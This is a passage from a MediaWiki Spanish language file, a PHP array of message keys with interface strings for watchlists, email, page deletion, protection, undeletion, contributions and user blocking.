# Special:DeletedContributions
'deletedcontributions' => 'Contribuciones borradas de usuario',
'deletedcontributions-title' => 'Contribuciones borradas de usuario',
'sp-deletedcontributions-contribs' => 'contribuciones',
# Special:LinkSearch
'linksearch' => 'Enlaces externos',
'linksearch-pat' => 'Patrón de búsqueda:',
'linksearch-ns' => 'Espacio de nombre:',
'linksearch-ok' => 'Buscar',
'linksearch-text' => 'Se pueden usar caracteres comodín como "*.wikipedia.org".
Es necesario, por lo menos, un dominio de alto nivel, por ejemplo "*.org".<br />
{{PLURAL:$2|Protocolo|Protocolos}} soportados: <code>$1</code> (si no se especifica ninguno, el protocolo por defecto es http://).',
'linksearch-line' => '$1 enlazado desde $2',
'linksearch-error' => 'Los comodines sólo pueden aparecer al principio del nombre de sitio.',
# Special:ListUsers
'listusersfrom' => 'Mostrar usuarios que empiecen por:',
'listusers-submit' => 'Mostrar',
'listusers-noresult' => 'No se encontró al usuario.',
'listusers-blocked' => '({{GENDER:$1|bloqueado|bloqueada}})',
# Special:ActiveUsers
'activeusers' => 'Lista de usuarios activos',
'activeusers-intro' => 'Esta es una lista de usuarios que han tenido alguna actividad en los últimos $1 {{PLURAL:$1|día|días}}.',
'activeusers-count' => '$1 {{PLURAL:$1|acción|acciones}} en los últimos {{PLURAL:$3|día|$3 días}}',
'activeusers-from' => 'Mostrando a los usuarios empezando por:',
'activeusers-hidebots' => 'Ocultar robots',
'activeusers-hidesysops' => 'Ocultar administradores',
'activeusers-noresult' => 'No se encontraron usuarios.',
# Special:ListGroupRights
'listgrouprights' => 'Permisos del grupo de usuarios',
'listgrouprights-summary' => 'La siguiente es una lista de los grupos de usuario definidos en esta wiki y de sus privilegios de acceso asociados.
Puede haber información adicional sobre privilegios individuales en [[{{MediaWiki:Listgrouprights-helppage}}]]',
'listgrouprights-key' => 'Leyenda:
* <span class="listgrouprights-granted">Derecho concedido</span>
* <span class="listgrouprights-revoked">Derecho revocado</span>',
'listgrouprights-group' => 'Grupo',
'listgrouprights-rights' => 'Derechos',
'listgrouprights-helppage' => 'Help:Derechos de grupos',
'listgrouprights-members' => '(ver los miembros de este grupo)',
'listgrouprights-addgroup' => 'Agregar {{PLURAL:$2|grupo|grupos}}: $1',
'listgrouprights-removegroup' => 'Eliminar {{PLURAL:$2|grupo|grupos}}: $1',
'listgrouprights-addgroup-all' => 'Agregar todos los grupos',
'listgrouprights-removegroup-all' => 'Eliminar todos los grupos',
'listgrouprights-addgroup-self' => 'Agregar {{PLURAL:$2|grupo|grupos}} a tu propia cuenta: $1',
'listgrouprights-removegroup-self' => 'Eliminar {{PLURAL:$2|grupo|grupos}} de tu propia cuenta: $1',
'listgrouprights-addgroup-self-all' => 'Agregar todos los grupos a tu propia cuenta',
'listgrouprights-removegroup-self-all' => 'Eliminar todos los grupos de tu propia cuenta',
# Email user
'mailnologin' => 'Ninguna dirección de envio',
'mailnologintext' => 'Debes [[Special:UserLogin|iniciar sesión]] y tener una dirección electrónica válida en tus [[Special:Preferences|preferencias]] para enviar un correo electrónico a otros usuarios.',
'emailuser' => 'Enviar un correo electrónico a {{GENDER:{{BASEPAGENAME}}|este usuario|esta usuaria}}',
'emailuser-title-target' => 'Enviar un correo electrónico a {{GENDER:$1|este usuario|esta usuaria}}',
'emailuser-title-notarget' => 'Enviar un correo electrónico al usuario',
'emailpage' => 'Enviar un correo electrónico a un usuario',
'emailpagetext' => 'Puedes usar el formulario de abajo para enviar un correo electrónico a {{GENDER:$1|este usuario|esta usuaria}}.
La dirección de correo electrónico que indicaste en [[Special:Preferences|tus preferencias de usuario]] aparecerá en el campo "Remitente" o "De" para que el destinatario pueda responderte.',
'usermailererror' => 'El sistema de correo devolvió un error:',
'defemailsubject' => 'Correo electrónico enviado por el usuario «$1» desde {{SITENAME}}',
'usermaildisabled' => 'Correo electrónico del usuario deshabilitado',
'usermaildisabledtext' => 'No puedes enviar correos electrónicos a otros usuarios en esta wiki',
'noemailtitle' => 'No hay dirección de correo electrónico',
'noemailtext' => 'Este usuario no ha especificado una dirección de correo electrónico válida.',
'nowikiemailtitle' => 'correos electrónicos no permitidos',
'nowikiemailtext' => 'Este usuario ha elegido no recibir correos electrónicos de otros usuarios.',
'emailnotarget' => 'Nombre de usuario no existente o no válido para el destinatario.',
'emailtarget' => 'Introduce el nombre de usuario del destinatario',
'emailusername' => 'Nombre de usuario:',
'emailusernamesubmit' => 'Enviar',
'email-legend' => 'Enviar un correo electrónico a otro usuario de {{SITENAME}}',
'emailfrom' => 'De:',
'emailto' => 'Para:',
'emailsubject' => 'Asunto:',
'emailmessage' => 'Mensaje:',
'emailsend' => 'Enviar',
'emailccme' => 'Enviarme una copia de mi mensaje.',
'emailccsubject' => 'Copia de tu mensaje a $1: $2',
'emailsent' => 'Correo electrónico enviado',
'emailsenttext' => 'Se ha enviado tu mensaje de correo electrónico.',
'emailuserfooter' => 'Este correo electrónico fue enviado por $1 a $2 a través de la función «Enviar un correo electrónico a este usuario» en {{SITENAME}}.',
# User Messenger
'usermessage-summary' => 'Dejando un mensaje de sistema.',
'usermessage-editor' => 'Mensajero del sistema',
# Watchlist
'watchlist' => 'Lista de seguimiento',
'mywatchlist' => 'Lista de seguimiento',
'watchlistfor2' => 'Para $1 $2',
'nowatchlist' => 'No tienes ninguna página en tu lista de seguimiento.',
'watchlistanontext' => 'Para ver o editar las entradas de tu lista de seguimiento es necesario $1.',
'watchnologin' => 'No has iniciado sesión',
'watchnologintext' => 'Debes [[Special:UserLogin|iniciar sesión]] para modificar tu lista de seguimiento.',
'addwatch' => 'Añadir a la lista de seguimiento',
'addedwatchtext' => 'La página «[[:$1]]» ha sido añadida a tu [[Special:Watchlist|lista de seguimiento]]. Los cambios futuros en esta página y en su página de discusión asociada se indicarán ahí.',
'removewatch' => 'Quitar de la lista de seguimiento',
'removedwatchtext' => 'Se ha eliminado la página «[[:$1]]» de tu [[Special:Watchlist|lista de seguimiento]].',
'watch' => 'Vigilar',
'watchthispage' => 'Vigilar esta página',
'unwatch' => 'Dejar de vigilar',
'unwatchthispage' => 'Dejar de vigilar',
'notanarticle' => 'No es un artículo',
'notvisiblerev' => 'La última revisión de un usuario diferente ha sido borrada',
'watchlist-details' => '{{PLURAL:$1|$1 página|$1 páginas}} en su lista de seguimiento, sin contar las de discusión.',
'wlheader-enotif' => 'La notificación por correo está activada.',
'wlheader-showupdated' => "Las páginas modificadas desde su última visita aparecen en '''negrita'''.",
'watchmethod-recent' => 'revisando cambios recientes en páginas vigiladas',
'watchmethod-list' => 'revisando las páginas vigiladas en busca de cambios recientes',
'watchlistcontains' => 'Tu lista de seguimiento posee $1 {{PLURAL:$1|página|páginas}}.',
'iteminvalidname' => "Problema con el artículo '$1', nombre inválido...",
'wlnote2' => 'A continuación se muestran los cambios de {{PLURAL:$1|la última hora|las últimas <strong>$1</strong> horas}}, a partir del $2, $3.',
'wlshowlast' => 'Ver los cambios de las últimas $1 horas, $2 días $3',
'watchlist-options' => 'Opciones de la lista de seguimiento',
# Displayed when you click the "watch" button and it is in the process of watching
'watching' => 'Vigilando...',
'unwatching' => 'Eliminando de la lista de seguimiento...',
'watcherrortext' => 'Ocurrió un error al cambiar la configuración de tu lista de seguimiento para «$1».',
'enotif_mailer' => 'Notificación por correo de {{SITENAME}}',
'enotif_reset' => 'Marcar todas las páginas como visitadas',
'enotif_impersonal_salutation' => 'usuario de {{SITENAME}}',
'enotif_subject_deleted' => '$2 ha borrado la página $1 de {{SITENAME}}',
'enotif_subject_created' => '$2 ha creado la página $1 en {{SITENAME}}',
'enotif_subject_moved' => '$2 ha trasladado la página $1 de {{SITENAME}}',
'enotif_subject_restored' => '$2 ha restaurado la página $1 de {{SITENAME}}',
'enotif_subject_changed' => '$2 ha modificado la página $1 de {{SITENAME}}',
'enotif_body_intro_deleted' => 'La página $1 de {{SITENAME}} ha sido borrada el $PAGEEDITDATE por {{GENDER:$2|$2}}, véase $3.',
'enotif_body_intro_created' => 'La página $1 de {{SITENAME}} ha sido creada el $PAGEEDITDATE por {{GENDER:$2|$2}}, véase $3 para la revisión actual.',
'enotif_body_intro_moved' => 'La página $1 de {{SITENAME}} ha sido trasladada el $PAGEEDITDATE por {{GENDER:$2|$2}}, véase $3 para la revisión actual.',
'enotif_body_intro_restored' => 'La página $1 de {{SITENAME}} ha sido restaurada el $PAGEEDITDATE por {{GENDER:$2|$2}}, véase $3 para la revisión actual.',
'enotif_body_intro_changed' => 'La página $1 de {{SITENAME}} ha sido cambiada el $PAGEEDITDATE por {{GENDER:$2|$2}}, véase $3 para la revisión actual.',
'enotif_lastvisited' => 'Consulta $1 para ver todos los cambios realizados desde tu última visita.',
'enotif_lastdiff' => 'Consulta $1 para ver este cambio.',
'enotif_anon_editor' => 'usuario anónimo $1',
'enotif_body' => 'Hola, $WATCHINGUSERNAME:
$PAGEINTRO $NEWPAGE
Resumen del editor: $PAGESUMMARY $PAGEMINOREDIT
Contacta al editor:
correo: $PAGEEDITOR_EMAIL
wiki: $PAGEEDITOR_WIKI
No enviaremos más notificaciones si ocurre más actividad, a menos que visites esta página con la sesión iniciada. También puedes restablecer los estados de notificación para todas las páginas en tu lista de seguimiento.
Atentamente, el sistema de notificaciones de {{SITENAME}}
--
Para cambiar tus ajustes de notificación por correo, visita
{{canonicalurl:{{#special:Preferences}}}}
Para cambiar los ajustes de tu lista de seguimiento, visita
{{canonicalurl:{{#special:EditWatchlist}}}}
Para quitar la página de tu lista de seguimiento, visita
$UNWATCHURL
Para ayuda y comentarios:
{{canonicalurl:{{MediaWiki:Helppage}}}}',
'created' => 'creada',
'changed' => 'modificada',
# Delete
'deletepage' => 'Borrar esta página',
'confirm' => 'Confirmar',
'excontent' => 'el contenido era: «$1»',
'excontentauthor' => 'el contenido era: «$1» (y el único autor fue «[[Special:Contributions/$2|$2]]»)',
'exbeforeblank' => 'El contenido antes de blanquear era: «$1»',
'exblank' => 'la página estaba vacía',
'delete-confirm' => 'Borrar «$1»',
'delete-legend' => 'Borrar',
'historywarning' => "'''Aviso:''' La página que estás a punto de borrar tiene un historial de aproximadamente $1 {{PLURAL:$1|revisión|revisiones}}:",
'confirmdeletetext' => 'Estás a punto de borrar una página en forma permanente, así como todo su historial.
Por favor, confirma que realmente quieres hacer eso, que entiendes las
consecuencias, y que lo estás haciendo de acuerdo con [[{{MediaWiki:Policy-url}}|las políticas]].',
'actioncomplete' => 'Acción completada',
'actionfailed' => 'Acción fallida',
'deletedtext' => '«$1» ha sido borrado.
Véase $2 para un registro de los borrados recientes.',
'dellogpage' => 'Registro de borrados',
'dellogpagetext' => 'A continuación se muestra una lista de los borrados más recientes.',
'deletionlog' => 'registro de borrados',
'reverted' => 'Revertido a una revisión anterior',
'deletecomment' => 'Motivo:',
'deleteotherreason' => 'Otro motivo:',
'deletereasonotherlist' => 'Otro motivo',
'deletereason-dropdown' => '*Razones comunes de borrado
** Spam
** Vandalismo
** Violación de copyright
** A petición del mismo autor
** Redirección incorrecta',
'delete-edit-reasonlist' => 'Editar razones de borrado',
'delete-toobig' => 'Esta página tiene un historial muy grande, con más de $1 {{PLURAL:$1|revisión|revisiones}}. Borrar este tipo de páginas ha sido restringido para prevenir posibles problemas en {{SITENAME}}.',
'delete-warning-toobig' => 'Esta página tiene un historial de más de $1 {{PLURAL:$1|revisión|revisiones}}. Eliminarla puede perturbar las operaciones de la base de datos de {{SITENAME}}. Ten cuidado al borrar.',
'deleting-backlinks-warning' => "'''Advertencia:''' Otras páginas están enlazadas o son inclusión desde la página que estás por eliminar.",
# Rollback
'rollback' => 'Revertir ediciones',
'rollback_short' => 'Revertir',
'rollbacklink' => 'revertir',
'rollbacklinkcount' => 'revertir $1 {{PLURAL:$1|edición|ediciones}}',
'rollbacklinkcount-morethan' => 'revertir más de $1 {{PLURAL:$1|edición|ediciones}}',
'rollbackfailed' => 'No se pudo revertir',
'cantrollback' => 'No se puede revertir la edición;
el último colaborador es el único autor de esta página.',
'alreadyrolled' => 'No se puede revertir la última edición de [[:$1]] hecha por [[User:$2|$2]] ([[User talk:$2|discusión]]{{int:pipe-separator}}[[Special:Contributions/$2|{{int:contribslink}}]]);
alguien más ya ha editado o revertido esa página.
La última edición fue hecha por [[User:$3|$3]] ([[User talk:$3|discusión]]{{int:pipe-separator}}[[Special:Contributions/$3|{{int:contribslink}}]]).',
'editcomment' => "El resumen de la edición fue: ''«$1»''.",
'revertpage' => 'Revertidos los cambios de [[Special:Contributions/$2|$2]] ([[User talk:$2|disc.]]) a la última edición de [[User:$1|$1]]',
'revertpage-nouser' => 'Revertidas las ediciones hechas por un usuario oculto a la última revisión hecha por [[User:$1|$1]]',
'rollback-success' => 'Revertidas las ediciones de $1; recuperada la última versión de $2.',
# Edit tokens
'sessionfailure-title' => 'Error de sesión',
'sessionfailure' => 'Parece que hay un problema con tu sesión;
esta acción ha sido cancelada como medida de precaución contra secuestros de sesión.
Por favor, pulsa «Atrás», recarga la página de la que viniste e inténtalo de nuevo.',
# Protect
'protectlogpage' => 'Registro de protección',
'protectlogtext' => 'Abajo se presenta una lista de protección y desprotección de página.
Véase [[Special:ProtectedPages|la lista de páginas protegidas]] para ver las protecciones activas en páginas.',
'protectedarticle' => 'protegió «[[$1]]»',
'modifiedarticleprotection' => 'cambió el nivel de protección de «[[$1]]»',
'unprotectedarticle' => 'desprotegió «[[$1]]»',
'movedarticleprotection' => 'cambiadas protecciones de «[[$2]]» a «[[$1]]»',
'protect-title' => 'Cambiando el nivel de protección de «$1»',
'protect-title-notallowed' => 'Ver el nivel de protección de «$1»',
'prot_1movedto2' => 'heredando la protección al trasladar [[$1]] a [[$2]]',
'protect-badnamespace-title' => 'Espacio de nombres no protegible',
'protect-badnamespace-text' => 'Las páginas de este espacio de nombres no pueden ser protegidas',
'protect-norestrictiontypes-text' => 'Esta página no se puede proteger ya que no hay ningún tipo de restricción disponible.',
'protect-norestrictiontypes-title' => 'Página no protegible',
'protect-legend' => 'Confirmar protección',
'protectcomment' => 'Motivo:',
'protectexpiry' => 'Caducidad:',
'protect_expiry_invalid' => 'Tiempo de caducidad incorrecto.',
'protect_expiry_old' => 'El tiempo de expiración está en el pasado.',
'protect-unchain-permissions' => 'Desbloquear opciones de protección adicionales',
'protect-text' => "Puedes ver y modificar el nivel de protección de la página '''$1'''.",
'protect-locked-blocked' => "No puede cambiar los niveles de protección estando bloqueado. A continuación se muestran las opciones actuales de la página '''$1''':",
'protect-locked-dblock' => "Los niveles de protección no se pueden cambiar debido a un bloqueo activo de la base de datos.
A continuación se muestran las opciones actuales de la página '''$1''':",
'protect-locked-access' => "Su cuenta no tiene permiso para cambiar los niveles de protección de una página.
A continuación se muestran las opciones actuales de la página '''$1''':",
'protect-cascadeon' => 'Actualmente esta página está protegida porque está incluida en {{PLURAL:$1|la siguiente página|las siguientes páginas}}, que tienen activada la opción de protección en cascada. Puedes cambiar el nivel de protección de esta página, pero no afectará a la protección en cascada.',
'protect-default' => 'Permitir todos los usuarios',
'protect-fallback' => 'Solo permitir usuarios con el permiso «$1»',
'protect-level-autoconfirmed' => 'Solo permitir usuarios autoconfirmados',
'protect-level-sysop' => 'Solo permitir administradores',
'protect-summary-cascade' => 'en cascada',
'protect-expiring' => 'caduca el $1 (UTC)',
'protect-expiring-local' => 'caduca el $1',
'protect-expiry-indefinite' => 'indefinido',
'protect-cascade' => 'Protección en cascada - proteger todas las páginas incluidas en ésta.',
'protect-cantedit' => 'No puedes cambiar el nivel de protección porque no tienes permiso para hacer ediciones.',
'protect-othertime' => 'Especificar caducidad:',
'protect-othertime-op' => 'otra (especificar)',
'protect-existing-expiry' => 'Fecha de caducidad actual: $2 a las $3',
'protect-otherreason' => 'Otra razón:',
'protect-otherreason-op' => 'Otra razón',
'protect-dropdown' => '*Razones de protección habituales
**Vandalismo excesivo
**Spam excesivo
**Guerra de ediciones
**Página muy visitada',
'protect-edit-reasonlist' => 'Editar las razones de protección',
'protect-expiry-options' => '1 hora:1 hour,1 día:1 day,1 semana:1 week,2 semanas:2 weeks,1 mes:1 month,3 meses:3 months,6 meses:6 months,1 año:1 year,para siempre:infinite',
'restriction-type' => 'Permiso:',
'restriction-level' => 'Nivel de restricción:',
'minimum-size' => 'Tamaño mínimo',
'maximum-size' => 'Tamaño máximo:',
'pagesize' => '(bytes)',
# Restrictions (nouns)
'restriction-edit' => 'Editar',
'restriction-move' => 'Pueden trasladar',
'restriction-create' => 'Crear',
'restriction-upload' => 'Subir',
# Restriction levels
'restriction-level-sysop' => 'completamente protegida',
'restriction-level-autoconfirmed' => 'semiprotegida',
'restriction-level-all' => 'cualquier nivel',
# Undelete
'undelete' => 'Restaurar una página borrada',
'undeletepage' => 'Ver y restaurar páginas borradas',
'undeletepagetitle' => "'''Las siguientes son las revisiones borradas de [[:$1|$1]]'''.",
'viewdeletedpage' => 'Ver páginas borradas',
'undeletepagetext' => '{{PLURAL:$1|La siguiente página ha sido borrada pero aún está en el archivo y puede ser restaurada.|Las siguientes $1 páginas han sido borradas pero aún están en el archivo y pueden ser restauradas.}}
Puede que el archivo se limpie periódicamente.',
'undelete-fieldset-title' => 'Restaurar revisiones',
'undeleteextrahelp' => "Para restaurar todo el historial de la página, deja todas las casillas sin seleccionar y pulsa '''''{{int:undeletebtn}}'''''. Para realizar una restauración selectiva, marca las revisiones a ser restauradas y pulsa '''''{{int:undeletebtn}}'''''.",
'undeleterevisions' => '$1 {{PLURAL:$1|revisión|revisiones}} archivadas',
'undeletehistory' => 'Si restauras una página, todas sus revisiones serán restauradas al historial.
Si una nueva página con el mismo nombre ha sido creada desde que se borró la original, las versiones restauradas aparecerán como historial anterior, y la revisión actual de la página actual no se reemplazará automáticamente.',
'undeleterevdel' => 'No se deshará el borrado si éste resulta en el borrado parcial de la última revisión de la página. En tal caso, desmarque o muestre las revisiones borradas más recientes. Las revisiones de archivos que no tiene permitido ver no se restaurarán.',
'undeletehistorynoadmin' => 'El artículo ha sido borrado. La razón de su eliminación se indica abajo en el resumen, así como los detalles de las ediciones realizadas antes del borrado. El texto completo del artículo está disponible sólo para usuarios con permisos de administrador.',
'undelete-revision' => 'Edición borrada de $1 (fechada $4, a $5) por $3:',
'undeleterevision-missing' => 'Revisión no válida o perdida. Puede deberse a un enlace incorrecto,
o a que la revisión haya sido restaurada o eliminada del archivo.',
'undelete-nodiff' => 'No existe una revisión previa.',
'undeletebtn' => 'Restaurar',
'undeletelink' => 'ver/restaurar',
'undeleteviewlink' => 'ver',
'undeleteinvert' => 'Invertir selección',
'undeletecomment' => 'Razón:',
'undeletedrevisions' => '{{PLURAL:$1|Una edición restaurada|$1 ediciones restauradas}}',
'undeletedrevisions-files' => '$1 {{PLURAL:$1|ediciones restauradas y $2 archivo restaurado|ediciones y $2 archivos restaurados}}',
'undeletedfiles' => '$1 {{PLURAL:$1|archivo restaurado|archivos restaurados}}',
'cannotundelete' => 'Hubo un error durante la restauración:
$1',
'undeletedpage' => "'''Se ha restaurado $1'''
Consulta el [[Special:Log/delete|registro de borrados]] para ver una lista de los últimos borrados y restauraciones.",
'undelete-header' => 'En el [[Special:Log/delete|registro de borrados]] se listan las páginas eliminadas.',
'undelete-search-title' => 'Buscar páginas borradas',
'undelete-search-box' => 'Buscar páginas borradas',
'undelete-search-prefix' => 'Mostrar páginas que empiecen por:',
'undelete-search-submit' => 'Buscar',
'undelete-no-results' => 'No se encontraron páginas borradas para ese criterio de búsqueda.',
'undelete-filename-mismatch' => 'No se puede restaurar la versión con marca de tiempo $1: No concuerda el nombre de fichero',
'undelete-bad-store-key' => 'No se puede restaurar la versión con marca de tiempo $1: el fichero fue omitido antes del borrado.',
'undelete-cleanup-error' => 'Error al borrar el archivo no utilizado "$1".',
'undelete-missing-filearchive' => 'No se ha podido restaurar el archivo de ID $1 debido a que no está en la base de datos.
Puede que ya haya sido restaurado.',
'undelete-error' => 'Error restaurando la página',
'undelete-error-short' => 'Error restaurando archivo: $1',
'undelete-error-long' => 'Se encontraron errores mientras se restauraba el archivo:
$1',
'undelete-show-file-confirm' => '¿Estás seguro de que quieres ver una revisión borrada del archivo «<nowiki>$1</nowiki>» del $2 a las $3?',
'undelete-show-file-submit' => 'Sí',
# Namespace form on various pages
'namespace' => 'Espacio de nombres:',
'invert' => 'Invertir selección',
'tooltip-invert' => 'Marca esta casilla para ocultar los cambios a las páginas dentro del espacio de nombres seleccionado (y el espacio de nombres asociado si está activada)',
'namespace_association' => 'Espacio de nombres asociado',
'tooltip-namespace_association' => 'Marca esta casilla para incluir también el espacio de nombres de discusión asociado con el espacio de nombres seleccionado',
'blanknamespace' => '(Principal)',
# Contributions
'contributions' => 'Contribuciones {{GENDER:$1|del usuario|de la usuaria}}',
'contributions-title' => 'Contribuciones {{GENDER:$1|del usuario|de la usuaria}} $1',
'mycontris' => 'Contribuciones',
'contribsub2' => 'Para {{GENDER:$3|$1}} ($2)',
'nocontribs' => 'No se encontraron cambios que cumplieran estos criterios.',
'uctop' => '(edición actual)',
'month' => 'Desde el mes (y anteriores):',
'year' => 'Desde el año (y anteriores):',
'sp-contributions-newbies' => 'Mostrar solo las contribuciones de usuarios nuevos',
'sp-contributions-newbies-sub' => 'Para cuentas nuevas',
'sp-contributions-newbies-title' => 'Contribuciones de usuarios nuevos',
'sp-contributions-blocklog' => 'registro de bloqueos',
'sp-contributions-deleted' => 'contribuciones de usuario borradas',
'sp-contributions-uploads' => 'subidas',
'sp-contributions-logs' => 'registros',
'sp-contributions-talk' => 'discusión',
'sp-contributions-userrights' => 'administración de derechos de usuarios',
'sp-contributions-blocked-notice' => 'Este usuario está actualmente bloqueado. La última entrada del registro de bloqueos es presentada debajo para mayor referencia:',
'sp-contributions-blocked-notice-anon' => 'Esta dirección IP se encuentra actualmente bloqueada.
A continuación se muestra la última entrada del registro de bloqueos para mayor referencia.',
'sp-contributions-search' => 'Buscar contribuciones',
'sp-contributions-username' => 'Dirección IP o nombre de usuario:',
'sp-contributions-toponly' => 'Solo mostrar últimas ediciones de página',
'sp-contributions-submit' => 'Buscar',
# What links here
'whatlinkshere' => 'Lo que enlaza aquí',
'whatlinkshere-title' => 'Páginas que enlazan con «$1»',
'whatlinkshere-page' => 'Página:',
'linkshere' => "Las siguientes páginas enlazan a '''[[:$1]]''':",
'nolinkshere' => "Ninguna página enlaza con '''[[:$1]]'''.",
'nolinkshere-ns' => "Ninguna página enlaza con '''[[:$1]]''' en el espacio de nombres elegido.",
'isredirect' => 'página redirigida',
'istemplate' => 'inclusión',
'isimage' => 'Enlace de imagen',
'whatlinkshere-prev' => '{{PLURAL:$1|previa|previas $1}}',
'whatlinkshere-next' => '{{PLURAL:$1|siguiente|siguientes $1}}',
'whatlinkshere-links' => '← enlaces',
'whatlinkshere-hideredirs' => '$1 redirecciones',
'whatlinkshere-hidetrans' => '$1 inclusiones',
'whatlinkshere-hidelinks' => '$1 enlaces',
'whatlinkshere-hideimages' => '$1 enlaces a archivos',
'whatlinkshere-filters' => 'Filtros',
# Block/unblock
'autoblockid' => 'Bloqueo automático #$1',
'block' => 'Bloquear usuario',
'unblock' => 'Desbloquear usuario',
'blockip' => 'Bloquear usuario',
'blockip-legend' => 'Bloquear usuario',
'blockiptext' => 'Usa el siguiente formulario para bloquear el acceso de escritura desde una dirección IP específica o nombre de usuario.
Esto debería hacerse sólo para prevenir vandalismos, y de acuerdo a las [[{{MediaWiki:Policy-url}}|políticas]].
Explica la razón específica del bloqueo (por ejemplo, citando las páginas en particular que han sido objeto de vandalismo).',
'ipadressorusername' => 'Dirección IP o nombre de usuario:',
'ipbexpiry' => 'Caducidad:',
'ipbreason' => 'Motivo:',
'ipbreason-dropdown' => '*Motivos comunes de bloqueo
** Añadir información falsa
** Eliminar contenido de las páginas
** Publicitar enlaces a otras páginas web
** Añadir basura a las páginas
** Comportamiento intimidatorio u hostil
** Abuso de múltiples cuentas
** Nombre de usuario inaceptable',
'ipb-hardblock' => 'Impedir que los usuarios identificados editen desde esta dirección IP',
'ipbcreateaccount' => 'Prevenir la creación de cuentas de usuario',
'ipbemailban' => 'Prevenir que el usuario envíe correo electrónico',
'ipbenableautoblock' => 'Bloquear automáticamente la dirección IP usada por este usuario y cualquier IP posterior desde la cual intente editar',
'ipbsubmit' => 'Bloquear a este usuario',
'ipbother' => 'Especificar caducidad',
'ipboptions' => '2 horas:2 hours,1 día:1 day,3 días:3 days,1 semana:1 week,2 semanas:2 weeks,1 mes:1 month,3 meses:3 months,6 meses:6 months,1 año:1 year,para siempre:infinite',
'ipbhidename' => 'Ocultar nombre de usuario de ediciones y listas',
'ipbwatchuser' => 'Vigilar las páginas de usuario y de discusión de este usuario',
'ipb-disableusertalk' => 'Impedir que este usuario edite su propia página de discusión mientras esté bloqueado',
'ipb-change-block' => 'Rebloquear al usuario con estos datos',
'ipb-confirm' => 'Confirmar bloqueo',
'badipaddress' => 'La dirección IP no tiene el formato correcto.',
'blockipsuccesssub' => 'Bloqueo realizado con éxito',
'blockipsuccesstext' => '"[[Special:Contributions/$1|$1]]" ha sido bloqueado.<br />
Véase la [[Special:BlockList|lista de bloqueos]] para revisarlo.',
'ipb-blockingself' => '¡Estás a punto de bloquearte a ti mismo! ¿Estás seguro de que quieres hacerlo?',
'ipb-confirmhideuser' => 'Estás a punto de bloquear un usuario con la opción de supresión activada. Esto suprimirá el nombre de usuario en todas las listas y entradas de registro. ¿Estás seguro de que deseas proceder?',
'ipb-confirmaction' => 'Si estás seguro de querer hacerlo, por favor, marca el campo «{{int:ipb-confirm}}» que hay al final.',
'ipb-edit-dropdown' => 'Editar motivo del bloqueo',
'ipb-unblock-addr' => 'Desbloquear $1',
'ipb-unblock' => 'Desbloquear un usuario o una IP',
'ipb-blocklist' => 'Ver bloqueos vigentes',
'ipb-blocklist-contribs' => 'Contribuciones de $1',
'unblockip' => 'Desbloquear usuario',
'unblockiptext' => 'Use el formulario a continuación para devolver los permisos de escritura a una dirección IP que ha sido bloqueada.',
'ipusubmit' => 'Desactivar este bloqueo',
'unblocked' => '[[User:$1|$1]] ha sido {{GENDER:$1|desbloqueado|desbloqueada}}',
'unblocked-range' => '$1 ha sido desbloqueado',
'unblocked-id' => 'Se ha eliminado el bloqueo $1',
'blocklist' => 'Usuarios bloqueados',
'ipblocklist' => 'Usuarios bloqueados',
'ipblocklist-legend' => 'Encontrar a un usuario bloqueado',
'blocklist-userblocks' => 'Ocultar bloqueos de cuenta',
'blocklist-tempblocks' => 'Ocultar bloqueos temporales',
'blocklist-addressblocks' => 'Ocultar bloqueos de una sola dirección IP',
'blocklist-rangeblocks' => 'Ocultar bloqueos de rango',
'blocklist-timestamp' => 'Fecha y hora',
'blocklist-target' => 'Destino',
'blocklist-expiry' => 'Caduca',
'blocklist-by' => 'Administrador bloqueante',
'blocklist-params' => 'Parámetros de bloqueo',
'blocklist-reason' => 'Motivo',
'ipblocklist-submit' => 'Buscar',
'ipblocklist-localblock' => 'Bloqueo local',
'ipblocklist-otherblocks' => 'Otros {{PLURAL:$1|bloqueo| bloqueos}}',
'infiniteblock' => 'infinito',
'expiringblock' => 'expira el $1 a las $2',
'anononlyblock' => 'sólo anón.',
'noautoblockblock' => 'bloqueo automático deshabilitado',
'createaccountblock' => 'creación de cuenta bloqueada',
'emailblock' => 'correo electrónico bloqueado',
'blocklist-nousertalk' => 'no puede editar su propia página de discusión',
'ipblocklist-empty' => 'La lista de bloqueos está vacía.',
'ipblocklist-no-results' => 'El nombre de usuario o IP indicado no está bloqueado.',
'blocklink' => 'bloquear',
'unblocklink' => 'desbloquear',
'change-blocklink' => 'cambiar bloqueo',
'contribslink' => 'contribuciones',
'emaillink' => 'enviar correo electrónico',
'autoblocker' => 'Has sido bloqueado automáticamente porque tu dirección IP ha sido usada recientemente por «[[User:$1|$1]]».
El motivo por el que se bloqueó a [[User:$1|$1]] es «$2».',
'blocklogpage' => 'Registro de bloqueos',
'blocklog-showlog' => 'Este usuario ha sido bloqueado previamente. Debajo se provee el registro de bloqueos para mayor referencia:',
'blocklog-showsuppresslog' => 'Este usuario ha sido bloqueado y ocultado. Se provee el registro de supresiones para más detalle:',
'blocklogentry' => 'bloqueó a [[$1]] $3 durante un plazo de $2',
'reblock-logentry' => 'cambió el bloqueo para [[$1]] con una caducidad de $2 $3',
'blocklogtext' => 'Esto es un registro de acciones de bloqueo y desbloqueo de usuarios.
Las direcciones IP bloqueadas automáticamente no aparecen aquí.
Consulta la [[Special:BlockList|lista de bloqueos]] para ver la lista de bloqueos y prohibiciones de operar en vigor.',
'unblocklogentry' => 'desbloqueó a $1',
'block-log-flags-anononly' => 'sólo anónimos',
'block-log-flags-nocreate' => 'desactivada la creación de cuentas',
'block-log-flags-noautoblock' => 'bloqueo automático desactivado',
'block-log-flags-noemail' => 'correo electrónico deshabilitado',
'block-log-flags-nousertalk' => 'no puede editar su propia página de discusión',
'block-log-flags-angry-autoblock' => 'autobloqueo avanzado habilitado',
'block-log-flags-hiddenname' => 'nombre de usuario ocultado',
'range_block_disabled' => 'La facultad de administrador de crear bloqueos por rangos está deshabilitada.',
'ipb_expiry_invalid' => 'El tiempo de caducidad no es válido.',
'ipb_expiry_temp' => 'Los bloqueos a nombres de usuario ocultos deben ser permanentes.',
'ipb_hide_invalid' => 'No se puede suprimir esta cuenta; tiene más de {{PLURAL:$1|una edición|$1 ediciones}}.',
'ipb_already_blocked' => '"$1" ya se encuentra bloqueado.',
'ipb-needreblock' => '$1 ya está bloqueado. ¿Quieres cambiar el bloqueo?',
'ipb-otherblocks-header' => '{{PLURAL:$1|Otro bloqueo|Otros bloqueos}}',
'unblock-hideuser' => 'No se puede desbloquear a este usuario, porque su nombre de usuario está oculto.',
